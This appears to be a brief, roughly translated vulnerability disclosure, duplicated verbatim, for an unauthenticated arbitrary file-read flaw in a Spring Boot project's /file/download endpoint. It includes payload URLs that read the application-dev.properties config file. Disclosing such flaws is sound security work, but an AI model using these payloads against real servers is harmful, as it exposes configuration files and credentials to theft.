Vulnerability exploitation points:
Com. Wstro. Controller. SysFileController# loopholes in the download points
bos = new BufferedOutputStream(response.getOutputStream());
bis = new BufferedInputStream(new FileInputStream(file));
The path does not belong to "/admin/", and any user can access /file/
"/file/download" receives two values, "name" and "real". When "real" equals true, the file can be read directly through the absolute path or the relative path.
payload:
http://localhost/file/download?name=+"The path of the file to be read“
http://localhost/file/download?name=E:/xxx/SpringBoot_MyBatisPlus-master/SpringBoot_MyBatisPlus-master/src/main/resources/application-dev.properties&real=true
Vulnerability exploitation points:
Com. Wstro. Controller. SysFileController# loopholes in the download points
bos = new BufferedOutputStream(response.getOutputStream());
bis = new BufferedInputStream(new FileInputStream(file));
The path does not belong to "/admin/", and any user can access /file/
"/file/download" receives two values, "name" and "real". When "real" equals true, the file can be read directly through the absolute path or the relative path.
payload:
http://localhost/file/download?name=+"The path of the file to be read“
http://localhost/file/download?name=E:/xxx/SpringBoot_MyBatisPlus-master/SpringBoot_MyBatisPlus-master/src/main/resources/application-dev.properties&real=true